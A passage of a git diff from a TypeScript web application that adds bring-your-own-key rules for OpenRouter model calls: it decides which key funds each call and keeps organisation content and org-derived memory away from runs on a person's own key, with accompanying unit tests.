contentDriveIds?: readonly string[]; + /** Orgs whose derived content reaches the model (memory distilled from an org's conversations). */ readonly contentOrgIds?: readonly string[]; + /** The conversation whose history the call replays, if any. */ + readonly conversationId?: string | null; }; +const uniqueIds = (ids: ReadonlyArray): string[] => + [...new Set(ids.filter((id): id is string => typeof id === 'string' && id.length > 0))]; + +async function readFlag(userId: string): Promise { + try { + return await isFeatureEnabled('byok_model_key', userId); + } catch { + return null; + } +} + +async function hasActiveModelKey(userId: string): Promise { + const rows = await createAgentAccountRepository({ db }).listForUser(userId); + return rows.some((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0); +} + +async function conversationHasManagedCall(conversationId: string | null | undefined): Promise { + if (typeof conversationId !== 'string' || conversationId.length === 0) return false; + const [row] = await db + .select({ id: aiUsageLogs.id }) + .from(aiUsageLogs) + .where(and(eq(aiUsageLogs.conversationId, conversationId), ne(aiUsageLogs.keySource, 'user_key'))) + .limit(1); + return row !== undefined; +} + /** Read the facts and decide. Cheap when the flag is off (one indexed read, no account lookup). */ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise { const onPrem = isOnPrem(); const backend = getBackendProvider(scope.provider); - if (onPrem || backend !== 'openrouter') return { source: 'managed' }; - const flagEnabled = await isFeatureEnabled('byok_model_key', scope.userId).catch(() => false); - if (!flagEnabled) return { source: 'managed' }; - - const driveIds = [...new Set([scope.driveId, ...(scope.contentDriveIds ?? [])].filter((id): id is string => typeof id === 'string' && id.length > 0))]; - const orgDrives = driveIds.length === 0 ? [] : await db.select({ orgId: drives.orgId }).from(drives).where(inArray(drives.id, driveIds)); - const orgGoverned = (scope.contentOrgIds?.length ?? 0) > 0 || orgDrives.some((drive) => drive.orgId !== null); + if (onPrem || backend !== 'openrouter') return MANAGED; + const flagEnabled = await readFlag(scope.userId); + if (flagEnabled === false) return MANAGED; + let hasModelKey: boolean; + try { + hasModelKey = await hasActiveModelKey(scope.userId); + } catch (error) { + // Neither the flag nor the keys could be read: nothing shows this person has a key to protect, and PageSpace's + // path reads the same database for its own credit gate, so it decides. With the flag known on, it is an error. + if (flagEnabled === null) return MANAGED; + throw error; + } + if (!hasModelKey) return MANAGED; - const rows = await createAgentAccountRepository({ db }).listForUser(scope.userId); - const hasModelKey = rows.some((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active' && row.credentialVersion > 0); + const driveIds = uniqueIds([scope.driveId, ...(scope.contentDriveIds ?? [])]); + const driveRows = driveIds.length === 0 ? [] : await db.select({ id: drives.id, orgId: drives.orgId, ownerId: drives.ownerId }).from(drives).where(inArray(drives.id, driveIds)); + const orgGoverned = uniqueIds(scope.contentOrgIds ?? []).length > 0 || driveRows.some((drive) => drive.orgId !== null); + // A drive that no longer exists has no owner to prove: it is not the person's. + const callDrive = scope.driveId ? driveRows.find((drive) => drive.id === scope.driveId) : undefined; + const fundedByAnother = typeof scope.driveId === 'string' && scope.driveId.length > 0 && callDrive?.ownerId !== scope.userId; + const conversationOnManagedKey = orgGoverned || fundedByAnother ? false : await conversationHasManagedCall(scope.conversationId); - return decideModelKeySource({ onPrem, backend, flagEnabled, hasModelKey, orgGoverned, planeConfigured: isAgentAccountsConfigured() }); + return decideModelKeySource({ onPrem, backend, flagEnabled, hasModelKey, orgGoverned, fundedByAnother, conversationOnManagedKey, planeConfigured: isAgentAccountsConfigured() }); } /** * For a gate that runs before its steps' providers are known (a workflow, a trigger): whether a run by this * person in this drive will run on their own key. Every cloud model goes through OpenRouter, so the answer is * the OpenRouter decision. Only true when the gated person is also the one whose key the executor uses (the - * creator); a step that ends up on PageSpace's key anyway (an org-governed content drive) is still billed at - * settle, it just took no hold. + * creator) and owns the drive; a step that ends up on PageSpace's key anyway is still billed at settle, it + * just took no hold. */ export async function runsOnOwnKey({ userId, driveId }: { readonly userId: string; readonly driveId: string | null }): Promise { return (await resolveModelKeySource({ userId, provider: 'openrouter', driveId })).source === 'user_key'; diff --git a/apps/web/src/lib/ai/core/page-tree-context.ts b/apps/web/src/lib/ai/core/page-tree-context.ts index a2480dec65..4f87298fb5 100644 --- a/apps/web/src/lib/ai/core/page-tree-context.ts +++ b/apps/web/src/lib/ai/core/page-tree-context.ts @@ -130,15 +130,17 @@ export async function getPageTreeContext( */ export async function getDriveListSummary( actor: AccessActor, - options: { excludedDriveIds?: ReadonlySet; allowedDriveIds?: readonly string[] } = {}, + options: { excludedDriveIds?: ReadonlySet; allowedDriveIds?: readonly string[]; withoutOrgDrives?: boolean } = {}, ): Promise { try { - // Get all non-trashed drives, minus any the caller's agent is kept out of + // Get all non-trashed drives, minus any the caller's agent is kept out of — and every org's drive for a turn on + // the person's own OpenRouter key (ADR 0009 I6) const allDrives = (await db - .select({ id: drives.id, name: drives.name }) + .select({ id: drives.id, name: drives.name, orgId: drives.orgId }) .from(drives) .where(eq(drives.isTrashed, false))) .filter((drive) => !options.excludedDriveIds?.has(drive.id) && + !(options.withoutOrgDrives && drive.orgId !== null) && (!options.allowedDriveIds?.length || options.allowedDriveIds.includes(drive.id))); // Filter to drives the user has access to (parallel permission checks) diff --git a/apps/web/src/lib/ai/core/personalization-utils.ts b/apps/web/src/lib/ai/core/personalization-utils.ts index c78d60c94c..c8c365aced 100644 --- a/apps/web/src/lib/ai/core/personalization-utils.ts +++ b/apps/web/src/lib/ai/core/personalization-utils.ts @@ -52,11 +52,15 @@ function truncateField(content: string, maxLength: number): string { * when memory discovery distilled it from an org whose sign-in policy refuses * the actor's credential (SEC-2/3, D-OW-62): the memory is one free-text merge, * so it is withheld whole rather than served with that org's content in it. + * And withheld whole, for the same reason, from a turn on the person's own + * OpenRouter key when it was distilled from any org's content (ADR 0009 I6): a + * personal OpenRouter account never carries an org's content. * Errors are swallowed — personalization is optional and must never take a * conversation down with it. */ export async function getUserPersonalization( - actor: AccessActor + actor: AccessActor, + options: { readonly modelKeySource?: 'managed' | 'user_key' } = {}, ): Promise { const { userId } = actor; try { @@ -78,6 +82,11 @@ export async function getUserPersonalization( return null; } + if (options.modelKeySource === 'user_key' && personalization.memoryOrgIds.length > 0) { + loggers.api.debug('Personalization withheld: distilled from an org, on a turn on the person\'s own key', { userId }); + return null; + } + const access = await checkDerivedContentAccess(actor, personalization.memoryOrgIds); if (!access.allowed) { loggers.api.debug('Personalization withheld: an org it was distilled from refuses this sign-in', { diff --git a/apps/web/src/lib/ai/core/plane-inference-fetch.ts b/apps/web/src/lib/ai/core/plane-inference-fetch.ts index ead7b18b04..b080eb7082 100644 --- a/apps/web/src/lib/ai/core/plane-inference-fetch.ts +++ b/apps/web/src/lib/ai/core/plane-inference-fetch.ts @@ -32,7 +32,9 @@ const REFUSAL_COPY: Record; +/** A run's resolved provider and model, as the provider factory names them, and whose key it runs on. */ +export type AgentRunModel = Pick; /** What a model run's tool context carries about the model it runs (see toolModelContext). */ export interface ToolModelContext { aiProvider: string; aiModel: string; runsModel: true; + modelKeySource: 'managed' | 'user_key'; } /** * POL-8: the model a run's tools are judged by — the provider and model the provider factory RESOLVED for the run (an * agent with no model is the default it fell back to), never a raw agent setting or the caller's. Marked as a model * run, so a context that loses the pair is refused at the tool boundary (actor-permissions.ts) rather than passed. - * Every tool context built for a model run takes its model from here. + * Every tool context built for a model run takes its model from here — and, with it, whose key the run is on, so a run + * on the person's own key (ADR 0009) has its org-drive reads refused at the same boundary. */ export function toolModelContext(resolved: AgentRunModel): ToolModelContext { - return { aiProvider: resolved.provider, aiModel: resolved.modelName, runsModel: true }; + return { aiProvider: resolved.provider, aiModel: resolved.modelName, runsModel: true, modelKeySource: resolved.keySource ?? 'managed' }; } /** diff --git a/apps/web/src/lib/ai/core/types.ts b/apps/web/src/lib/ai/core/types.ts index d1973c4107..2b48d4ef99 100644 --- a/apps/web/src/lib/ai/core/types.ts +++ b/apps/web/src/lib/ai/core/types.ts @@ -25,6 +25,9 @@ export interface ToolExecutionContext { // POL-8: this context belongs to a model run, whose tools are judged by the org allowlists against aiProvider/aiModel // — set together with them by toolModelContext() (provider-factory.ts). A model run missing either is refused. runsModel?: true; + // BYOK (ADR 0009 I6): the run is on the person's own OpenRouter key, so its tools may not read any org's drive + // (actor-permissions.ts). Set with the pair by toolModelContext(); absent = PageSpace's key. + modelKeySource?: 'managed' | 'user_key'; locationContext?: { currentPage?: { id: string; diff --git a/apps/web/src/lib/ai/tools/__tests__/actor-permissions-byok.test.ts b/apps/web/src/lib/ai/tools/__tests__/actor-permissions-byok.test.ts new file mode 100644 index 0000000000..7d1dac8422 --- /dev/null +++ b/apps/web/src/lib/ai/tools/__tests__/actor-permissions-byok.test.ts @@ -0,0 +1,48 @@ +/** + * BYOK (ADR 0009 I6) at the tool boundary: a run on the person's own OpenRouter key reads no org's drive, whatever + * model it runs and whatever the org's model allowlist says; a run on PageSpace's key is judged by POL-8 as before. + */ +import { describe, it, expect, vi, beforeEach } from 'vitest'; + +const { mockGetDrivePolicies, mockPageDrive } = vi.hoisted(() => ({ + mockGetDrivePolicies: vi.fn(), + mockPageDrive: vi.fn(), +})); + +vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies: mockGetDrivePolicies })); +vi.mock('@pagespace/lib/organizations/org-action-decisions', () => ({ + // An allowlist that allows every model: only the key source can refuse here. + toolModelDecision: vi.fn(() => ({ ok: true })), +})); +vi.mock('@pagespace/db/db', () => ({ + db: { select: () => ({ from: () => ({ where: () => ({ limit: mockPageDrive }) }) }) }, +})); +vi.mock('@pagespace/db/operators', () => ({ eq: vi.fn() })); +vi.mock('@pagespace/db/schema/core', () => ({ pages: { id: 'id', driveId: 'driveId' } })); +vi.mock('@pagespace/lib/permissions/permissions', () => ({})); +vi.mock('@pagespace/lib/permissions/agent-permissions', () => ({})); +vi.mock('@pagespace/lib/permissions/app-permissions', () => ({})); +vi.mock('@pagespace/lib/services/drive-member-service', () => ({})); +vi.mock('@pagespace/lib/permissions/actor-authentication', () => ({})); +vi.mock('@pagespace/lib/agents/imago-reach', () => ({})); + +import { pageReadableByModel } from '../actor-permissions'; + +const run = (modelKeySource: 'managed' | 'user_key') => ({ aiProvider: 'openrouter', aiModel: 'openai/gpt-5.5', runsModel: true as const, modelKeySource }); + +describe('pageReadableByModel on the person\'s own key', () => { + beforeEach(() => { + vi.clearAllMocks(); + mockPageDrive.mockResolvedValue([{ driveId: 'drive-1' }]); + }); + + it('given a page in an org\'s drive whose allowlist permits the model, should refuse it on the person\'s key and admit it on PageSpace\'s', async () => { + mockGetDrivePolicies.mockResolvedValue({ orgId: 'org-1', policies: {} }); + expect([await pageReadableByModel(run('user_key'), 'page-1'), await pageReadableByModel(run('managed'), 'page-1')]).toEqual([false, true]); + }); + + it('given a page in a personal drive, should admit it on the person\'s key', async () => { + mockGetDrivePolicies.mockResolvedValue(null); + expect(await pageReadableByModel(run('user_key'), 'page-1')).toBe(true); + }); +}); diff --git a/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts index ea42d5ab61..34ad3afb1f 100644 --- a/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts @@ -636,7 +636,7 @@ describe('agent-communication-tools', () => { { toolCallId: '1', messages: [], experimental_context: { userId: 'user-123', creditSpend: { spend } } as ToolExecutionContext }, ); - expect(modelEntitlement).toHaveBeenCalledWith({ userId: 'user-123', provider: 'openai', model: 'openai/gpt-5.4-nano', spend }); + expect(modelEntitlement).toHaveBeenCalledWith({ userId: 'user-123', provider: 'openai', model: 'openai/gpt-5.4-nano', spend, ownKey: false }); expect(JSON.stringify(result)).toContain('paid plans'); expect(AIMonitoring.trackUsage).not.toHaveBeenCalled(); }); @@ -1142,7 +1142,8 @@ describe('agent-communication-tools', () => { context ); - expect(runCompaction).toHaveBeenCalledWith(pendingCompaction); + // BYOK (ADR 0009): the consulted agent's home drive rides along for the compaction's key decision. + expect(runCompaction).toHaveBeenCalledWith({ ...pendingCompaction, contentDriveIds: ['drive-1'] }); }); it('SPEND-6 (partial) the compaction a mention reply schedules is gated on the drive the reply was gated on, never the sender', async () => { @@ -1187,7 +1188,8 @@ describe('agent-communication-tools', () => { // History preparation names the reply's own target, so the compaction it plans // reserves on the drive wallet (runCompaction gates on it) or does not run. expect(vi.mocked(prepareHistoryForModel).mock.calls[0][0].spend).toEqual({ kind: 'automation', driveId: 'drive-1' }); - expect(runCompaction).toHaveBeenCalledWith(pendingCompaction); + // BYOK (ADR 0009): the consulted agent's home drive rides along for the compaction's key decision. + expect(runCompaction).toHaveBeenCalledWith({ ...pendingCompaction, contentDriveIds: ['drive-1'] }); }); it('SPEND-6 (partial) WAL-7 (partial) inside a manual Run, ask_agent records its usage AND schedules its compaction as the person who pressed Run, not the workflow\'s creator (review #2817 P3-A)', async () => { diff --git a/apps/web/src/lib/ai/tools/actor-permissions.ts b/apps/web/src/lib/ai/tools/actor-permissions.ts index 664bb08e4d..64e1b6d8a0 100644 --- a/apps/web/src/lib/ai/tools/actor-permissions.ts +++ b/apps/web/src/lib/ai/tools/actor-permissions.ts @@ -38,16 +38,22 @@ import { toolModelDecision } from '@pagespace/lib/organizations/org-action-decis * pair is refused, never passed. Only a context that runs no model at all (no pair, not marked) is not judged here. */ /** The part of a tool context the POL-8 model check reads. */ -export type ModelRunFields = Pick; +export type ModelRunFields = Pick; function judgesModel(context: ModelRunFields): boolean { - return Boolean(context.runsModel || context.aiProvider || context.aiModel); + return Boolean(context.runsModel || context.aiProvider || context.aiModel || context.modelKeySource); } +/** + * BYOK (ADR 0009 I6) at the same boundary: a run on the person's own OpenRouter key reads no org's drive, whatever + * model it runs — the org's content would otherwise be logged in a personal OpenRouter account outside its control. + * So a run on their key never adds org content to its conversation, and org content never reaches their key. + */ async function driveDeniedByModelPolicy(context: ModelRunFields, driveId: string): Promise { if (!judgesModel(context)) return false; - const policies = (await getDrivePolicies(driveId))?.policies ?? null; - return !toolModelDecision(policies, { provider: context.aiProvider, modelId: context.aiModel }).ok; + const governing = await getDrivePolicies(driveId); + if (governing !== null && context.modelKeySource === 'user_key') return true; + return !toolModelDecision(governing?.policies ?? null, { provider: context.aiProvider, modelId: context.aiModel }).ok; } async function pageDeniedByModelPolicy(context: ModelRunFields, pageId: string): Promise { diff --git a/apps/web/src/lib/ai/tools/agent-communication-tools.ts b/apps/web/src/lib/ai/tools/agent-communication-tools.ts index ba02dd16ab..b559b249fa 100644 --- a/apps/web/src/lib/ai/tools/agent-communication-tools.ts +++ b/apps/web/src/lib/ai/tools/agent-communication-tools.ts @@ -56,7 +56,12 @@ async function getConfiguredModel( userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string }, spend: SpendTarget, - byok: { billedUserId: string; modelCall: { sessionId: string | null; conversationId: string } }, + byok: { + billedUserId: string; + modelCall: { sessionId: string | null; conversationId: string }; + /** The drives whose prompts the consult injects (the agent's includeContext member drives): content too. */ + contextDriveIds: readonly string[]; + }, ) { const { aiProvider, aiModel } = agentConfig; @@ -73,9 +78,12 @@ async function getConfiguredModel( // consulted agent's own drive, whose content (its prompt, its pages) reaches the model whoever calls. // BYOK (ADR 0009): a key may only ever be the FUNDER's. The factory decides on the caller's key only when the // caller is also who pays; a consult funded by someone else (a manual Run's presser) stays managed. + // The key decision also counts the context drives whose prompts reach the model (ADR 0009 I6): an org's keeps the + // consult on PageSpace's key. const providerResult = await createAIProvider(userId, providerRequest, { driveId: spendDriveId(spend), contentDriveIds: [agentConfig.driveId], + keyOnlyContent: { driveIds: byok.contextDriveIds }, modelCall: byok.modelCall, ...(byok.billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }), }); @@ -86,7 +94,8 @@ async function getConfiguredModel( // The pro-model gate, for the tier of whoever funds this consult (WAL-8, POL-8): the drive wallet's root owner for a // mention reply or an in-drive consult, the caller's own on their own credits. Keyed on the model that will run. - const entitlement = await modelEntitlement({ userId, provider: providerResult.provider, model: providerResult.modelName, spend }); + // On the person's own key they pay OpenRouter directly: no PageSpace tier gates the model (admin-only still applies). + const entitlement = await modelEntitlement({ userId, provider: providerResult.provider, model: providerResult.modelName, spend, ownKey: providerResult.keySource === 'user_key' }); if (!entitlement.allowed) { throw new Error(MODEL_ENTITLEMENT_MESSAGES[entitlement.reason]); } @@ -689,10 +698,13 @@ export async function executeAskAgent( // responder, which invokes this same execute — gets the same drive // context uniformly. Scope-filtered so a scoped MCP caller can't pull // a member drive's prompt outside its own token scope. + // BYOK (ADR 0009 I6): the drives whose prompts reach the model, part of the key decision below. + let contextDriveIds: string[] = []; try { const allContextDrives = await getAgentContextDrives(agentId); const allowedIds = new Set(filterDriveIdsByMcpScope(executionContext, allContextDrives.map((d) => d.driveId))); const contextDrives = allContextDrives.filter((d) => allowedIds.has(d.driveId)); + contextDriveIds = contextDrives.map((d) => d.driveId); if (contextDrives.length > 0) { const memberDriveContextPrefix = contextDrives .map((d) => `## DRIVE CONTEXT: ${d.driveName}\n\n${d.drivePrompt}\n\n---\n\n`) @@ -739,6 +751,7 @@ export async function executeAskAgent( }, executionContext?.creditSpend?.spend ?? PERSONAL_SPEND, { billedUserId, modelCall: { sessionId: executionContext?.authSessionId ?? null, conversationId: activeConversationId }, + contextDriveIds, }); const { model, provider: resolvedProvider, modelName: resolvedModelName } = providerResult; // BYOK: the factory's decision drives the gate and billing below — no hold, no charge on the person's key. @@ -947,7 +960,12 @@ export async function executeAskAgent( // runCompaction gates and reserves on the caller's spend target before its own model // call, and skips (persisting nothing) when that source cannot cover it. if (prepared.pendingCompaction) { - void runCompaction({ ...prepared.pendingCompaction, billedUserId: executionContext?.creditSpend?.userId, automationRef: executionContext?.creditSpend?.automationRef }); + void runCompaction({ + ...prepared.pendingCompaction, + billedUserId: executionContext?.creditSpend?.userId, + automationRef: executionContext?.creditSpend?.automationRef, + contentDriveIds: [targetAgent.driveId, ...contextDriveIds], + }); } // Settle the sub-agent run on its own hold. totalUsage meters every tool-loop round-trip diff --git a/apps/web/src/lib/ai/tools/image-generation-tools.ts b/apps/web/src/lib/ai/tools/image-generation-tools.ts index a68d341254..2809be2cce 100644 --- a/apps/web/src/lib/ai/tools/image-generation-tools.ts +++ b/apps/web/src/lib/ai/tools/image-generation-tools.ts @@ -185,8 +185,10 @@ restricted to app administrators.`, const imageProvider = await createImageProvider({ model }, { driveId: spendDriveId(context?.creditSpend?.spend ?? PERSONAL_SPEND), contentDriveIds: target.targetDriveId ? [target.targetDriveId] : [], - // BYOK (ADR 0009): the billed person's own OpenRouter key may pay for the image. - userId: billedUserId, + // BYOK (ADR 0009 I9): a key is only ever the funder's. The caller's own OpenRouter key may pay for the image + // only when the caller is who the turn bills; an image in a manual Run pressed by someone else stays on + // PageSpace's key, as that run's chat steps do (workflow-executor.ts). + ...(billedUserId === userId ? { userId } : {}), modelCall: { sessionId: context?.authSessionId ?? null, conversationId: context?.conversationId ?? null }, }); if (isProviderError(imageProvider)) { diff --git a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts index 4624d4d4ae..746f1fd955 100644 --- a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts +++ b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts @@ -228,7 +228,7 @@ describe('agent-mention-responder', () => { await triggerMentionedAgentResponses({ ...baseParams, content: 'Thoughts? @[Budget Agent](agent-1:page)' }); // BYOK (ADR 0009): the gate is told the provider the reply runs and the agent's drive, so it decides whose key pays. - expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1', keyScope: { provider: expect.any(String), agentDriveId: null } }); + expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1', keyScope: { provider: expect.any(String), agentDriveId: null, conversationId: 'channel:channel-1:agent:agent-1' } }); expect(mockAcquireMentionCreditHold.mock.invocationCallOrder[0]).toBeLessThan(mockAskAgentExecute.mock.invocationCallOrder[0]); const askContext = mockAskAgentExecute.mock.calls[0][1].experimental_context; expect(askContext.creditSpend).toEqual({ spend: { kind: 'automation', driveId: 'drive-1' }, walletId: 'w-drive-1' }); diff --git a/apps/web/src/lib/channels/agent-mention-responder.ts b/apps/web/src/lib/channels/agent-mention-responder.ts index 86eef3dd92..8a88e697df 100644 --- a/apps/web/src/lib/channels/agent-mention-responder.ts +++ b/apps/web/src/lib/channels/agent-mention-responder.ts @@ -753,14 +753,9 @@ export async function triggerMentionedAgentResponses( for (const agent of eligibleAgents) { try { const mentionConversationId = mentionConversationIdFor(params.channelId, agent.id); - // POL-8: a command's pages reach this agent's model only when their org allows the model its reply runs. - const agentCommands = await commandsForModel(commandPlans, toolModelContext(agent.runModel)); - const commandContext = agentCommands.prompt; - const commandExecution = isSoloHelpMention + let commandExecution: CommandExecutionData[] | undefined = isSoloHelpMention ? [{ label: 'help', status: 'used' as const }] - : agentCommands.plans.length > 0 - ? agentCommands.plans.map(commandExecutionDataFromPlan) - : undefined; + : undefined; let replyContent: string; if (isSoloHelpMention) { @@ -768,11 +763,12 @@ export async function triggerMentionedAgentResponses( } else { // SPEND-6: the reply spends the channel's drive wallet or is skipped — never the // sender's credits — gated before the model call and settled on that wallet. - // BYOK (ADR 0009): on the sender's own OpenRouter key (a personal drive only) the reply reserves nothing. + // BYOK (ADR 0009): on the sender's own OpenRouter key (a drive the sender owns, no org) the reply + // reserves nothing. const hold = await acquireMentionCreditHold({ userId: params.sender.userId, driveId: params.driveId, - keyScope: { provider: agent.runModel.provider, agentDriveId: agent.driveId ?? null }, + keyScope: { provider: agent.runModel.provider, agentDriveId: agent.driveId ?? null, conversationId: mentionConversationId }, }); if (!hold.allowed) { channelMentionLogger.warn('Mentioned agent skipped (credit gate denied)', { @@ -784,6 +780,11 @@ export async function triggerMentionedAgentResponses( } let rawAskResult: unknown; try { + // POL-8: a command's pages reach this agent's model only when their org allows the model its reply runs — + // and, on the sender's own key, never from an org's drive (ADR 0009 I6). Judged once the gate decided the key. + const agentCommands = await commandsForModel(commandPlans, toolModelContext({ ...agent.runModel, keySource: hold.keySource })); + const commandContext = agentCommands.prompt; + if (agentCommands.plans.length > 0) commandExecution = agentCommands.plans.map(commandExecutionDataFromPlan); rawAskResult = await askAgentExecute( { agentPath: `/${agent.title}`, diff --git a/apps/web/src/lib/channels/mention-credit-gate.ts b/apps/web/src/lib/channels/mention-credit-gate.ts index 796a53bb2e..a7c3677438 100644 --- a/apps/web/src/lib/channels/mention-credit-gate.ts +++ b/apps/web/src/lib/channels/mention-credit-gate.ts @@ -8,13 +8,14 @@ import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing'; import { personTriggeredSpend } from '@pagespace/lib/billing/spend-target'; import type { ToolExecutionContext } from '@/lib/ai/core/types'; import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate'; -import { resolveModelKeySource } from '@/lib/ai/core/model-key-source'; +import { resolveModelKeySource, type ModelKeySource } from '@/lib/ai/core/model-key-source'; import { BYOK_UNAVAILABLE_MESSAGE } from '@/lib/ai/core/byok-responses'; type MentionCreditSpend = NonNullable; export type MentionCreditHold = - | { allowed: true; creditSpend: MentionCreditSpend; release: () => void } + /** `keySource`: whose key the reply was gated for (ADR 0009), so what reaches its model is judged for that key. */ + | { allowed: true; creditSpend: MentionCreditSpend; release: () => void; keySource: ModelKeySource } | { allowed: false; error: string }; /** @@ -41,7 +42,7 @@ export async function acquireMentionCreditHold(input: { * ask_agent's provider factory decides on. On the sender's own OpenRouter key the reply reserves nothing * (ask_agent then takes no hold of its own either, and never charges). Absent: gated as before. */ - keyScope?: { provider: string; agentDriveId?: string | null }; + keyScope?: { provider: string; agentDriveId?: string | null; conversationId?: string | null }; }): Promise { // A mention outside any drive has no drive wallet, and a person-less reply never falls // back to a person: nothing to spend, so nothing runs. @@ -54,9 +55,10 @@ export async function acquireMentionCreditHold(input: { provider: input.keyScope.provider, driveId: input.driveId, contentDriveIds: input.keyScope.agentDriveId ? [input.keyScope.agentDriveId] : [], + conversationId: input.keyScope.conversationId ?? null, }); if (keyDecision.source === 'refused') return { allowed: false, error: BYOK_UNAVAILABLE_MESSAGE }; - if (keyDecision.source === 'user_key') return { allowed: true, creditSpend: { spend }, release: () => {} }; + if (keyDecision.source === 'user_key') return { allowed: true, creditSpend: { spend }, release: () => {}, keySource: 'user_key' }; } const [sender] = await db @@ -76,6 +78,7 @@ export async function acquireMentionCreditHold(input: { return { allowed: true, creditSpend: { spend, walletId: gate.walletId, ...(holdId ? { reservedHoldId: holdId } : {}) }, + keySource: 'managed', release: () => { if (released || !holdId) return; released = true; diff --git a/apps/web/src/lib/memory/__tests__/compaction-service.test.ts b/apps/web/src/lib/memory/__tests__/compaction-service.test.ts index 1a703b34c3..bbacf4df9a 100644 --- a/apps/web/src/lib/memory/__tests__/compaction-service.test.ts +++ b/apps/web/src/lib/memory/__tests__/compaction-service.test.ts @@ -10,6 +10,8 @@ import { assert } from '@/test/riteway'; */ vi.mock('@pagespace/db/db', () => ({ db: {} })); +// BYOK (ADR 0009): the orgs the memory restates feed the key decision; none here. +vi.mock('../candidate-service', () => ({ readMemoryOrgIds: vi.fn(async () => []) })); vi.mock('@pagespace/db/operators', () => ({ and: vi.fn(), eq: vi.fn() })); vi.mock('@pagespace/db/schema/core', () => ({ pages: {} })); vi.mock('@pagespace/db/schema/personalization', () => ({ diff --git a/apps/web/src/lib/memory/__tests__/integration-service.test.ts b/apps/web/src/lib/memory/__tests__/integration-service.test.ts index 273d7a0254..ab5b4f8fe5 100644 --- a/apps/web/src/lib/memory/__tests__/integration-service.test.ts +++ b/apps/web/src/lib/memory/__tests__/integration-service.test.ts @@ -11,6 +11,8 @@ import { assert } from '@/test/riteway'; */ vi.mock('@pagespace/db/db', () => ({ db: {} })); +// BYOK (ADR 0009): the orgs the memory restates feed the key decision; none here. +vi.mock('../candidate-service', () => ({ readMemoryOrgIds: vi.fn(async () => []) })); vi.mock('@pagespace/db/operators', () => ({ and: vi.fn(), eq: vi.fn(), diff --git a/apps/web/src/lib/memory/candidate-service.ts b/apps/web/src/lib/memory/candidate-service.ts index 36844afec9..76555c60cb 100644 --- a/apps/web/src/lib/memory/candidate-service.ts +++ b/apps/web/src/lib/memory/candidate-service.ts @@ -403,6 +403,16 @@ export async function redactSettledEvidence( return redacted.length; } +/** The orgs the user's memory pages may restate (D-OW-62): none for a user with no memory row. */ +export async function readMemoryOrgIds(userId: string): Promise { + const [row] = await db + .select({ memoryOrgIds: userPersonalization.memoryOrgIds }) + .from(userPersonalization) + .where(eq(userPersonalization.userId, userId)) + .limit(1); + return row?.memoryOrgIds ?? []; +} + /** * Union `orgIds` into the user's `memoryOrgIds` (D-OW-62): what the memory pages may now restate. Memory pages are * free-text merges, so attribution is per row, never per sentence, and only ever grows — an org drops out only when diff --git a/apps/web/src/lib/memory/compaction-service.ts b/apps/web/src/lib/memory/compaction-service.ts index 3a92f628d0..c086563fae 100644 --- a/apps/web/src/lib/memory/compaction-service.ts +++ b/apps/web/src/lib/memory/compaction-service.ts @@ -10,6 +10,7 @@ import { generateText } from 'ai'; import { createAIProvider, isProviderError } from '@/lib/ai/core/provider-factory'; +import { readMemoryOrgIds } from './candidate-service'; import { BACKGROUND_HEAVY_PROVIDER, BACKGROUND_HEAVY_MODEL } from '@/lib/ai/core/ai-providers-config'; import { loggers } from '@pagespace/lib/logging/logger-config'; import { AIMonitoring, discardUsageOutcome } from '@pagespace/lib/monitoring/ai-monitoring'; @@ -99,10 +100,11 @@ export async function compactField( ): Promise { const compactTo = compactionTarget(field); + // BYOK (ADR 0009 I6): the page restates the orgs memory was distilled from; the key decision runs on them. const providerResult = await createAIProvider(userId, { selectedProvider: BACKGROUND_HEAVY_PROVIDER, selectedModel: BACKGROUND_HEAVY_MODEL, - }, { driveId: null }); + }, { driveId: null, keyOnlyContent: { orgIds: await readMemoryOrgIds(userId) } }); if (isProviderError(providerResult)) { loggers.api.error('Memory compaction: provider error', { diff --git a/apps/web/src/lib/memory/discovery-service.ts b/apps/web/src/lib/memory/discovery-service.ts index cf6290b09e..18fbb23b57 100644 --- a/apps/web/src/lib/memory/discovery-service.ts +++ b/apps/web/src/lib/memory/discovery-service.ts @@ -204,13 +204,14 @@ Examples of good rules claims: */ async function gatherRecentConversations( userId: string, + memberDrives: { driveIds: string[]; allReadable: boolean }, lookbackDays: number = LOOKBACK_DAYS ): Promise { const lookbackDate = new Date(); lookbackDate.setDate(lookbackDate.getDate() - lookbackDays); const allMessages: ConversationMessage[] = []; - const { driveIds, allReadable } = await readableMemberDrives(userId); + const { driveIds, allReadable } = memberDrives; // Global/DM conversations. eq(type, 'global') is REQUIRED — see D6 comment // in agent-epic "Agent-Session Single Source of Truth". POL-8: read only when @@ -342,12 +343,14 @@ async function runDiscoveryPass( systemPrompt: string, conversationContext: string, /** Same order as the numbered transcript, so a cited index resolves to a real timestamp. */ - messageDates: Date[] + messageDates: Date[], + /** The orgs whose content the transcript may carry: the key decision runs on them (ADR 0009 I6). */ + contentOrgIds: readonly string[], ): Promise { const providerResult = await createAIProvider(userId, { selectedProvider: BACKGROUND_HEAVY_PROVIDER, selectedModel: BACKGROUND_HEAVY_MODEL, - }, { driveId: null }); + }, { driveId: null, keyOnlyContent: { orgIds: contentOrgIds } }); if (isProviderError(providerResult)) { loggers.api.warn(`Memory discovery ${passName} pass failed: provider error`, { @@ -434,8 +437,9 @@ async function runDiscoveryPass( * Returns a unified set of claims across all three fields. */ export async function runDiscoveryPasses(userId: string): Promise { + const memberDrives = await readableMemberDrives(userId); const [recentMessages, recentActivity] = await 